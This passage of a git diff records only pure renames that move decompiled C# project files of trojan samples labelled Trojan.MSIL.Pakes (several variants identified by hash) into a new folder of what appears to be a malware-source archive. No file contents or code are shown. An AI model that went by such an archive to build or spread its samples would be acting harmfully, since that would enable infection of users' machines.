rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyApplication.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyApplication.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyApplication.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyComputer.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyComputer.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyComputer.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyProject.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyProject.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyProject.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Stair.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Stair.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Stair.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Stair.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/TC.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/TC.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/TC.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/TC.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/hKPcZIVuuWerTnSqIiJUOg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/hKPcZIVuuWerTnSqIiJUOg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/hKPcZIVuuWerTnSqIiJUOg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/hKPcZIVuuWerTnSqIiJUOg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Nskougj41ajjwi4dtqj5drevqotiurz31.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Nskougj41ajjwi4dtqj5drevqotiurz31.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Nskougj41ajjwi4dtqj5drevqotiurz31.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Nskougj41ajjwi4dtqj5drevqotiurz31.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/program.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/program.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/program.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/program.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/0c64145d7c3646cea1fd9c57ba0c125a b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/0c64145d7c3646cea1fd9c57ba0c125a similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/0c64145d7c3646cea1fd9c57ba0c125a rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/0c64145d7c3646cea1fd9c57ba0c125a diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002 .cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002 .cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002 .cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002 .cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003 .cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003 .cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003 .cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003 .cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0005.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0005.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0005.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0005.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0006.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0006.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0006.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0006.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0008.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0008.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0008.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0008.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000E.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000E.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000E.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000E.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000F.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000F.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000F.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000F.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_003CModule_003E.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_003CModule_003E.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_003CModule_003E.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_003CModule_003E.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/pc1eOx2WJVV_416430903.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/pc1eOx2WJVV_416430903.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/pc1eOx2WJVV_416430903.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/pc1eOx2WJVV_416430903.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/        ​  b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/        ​  similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/        ​  rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/        ​  diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/_003CModule_003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/_003CModule_003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/_003CModule_003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/_003CModule_003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/SplashForm.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/SplashForm.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/SplashForm.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/SplashForm.resx diff --git 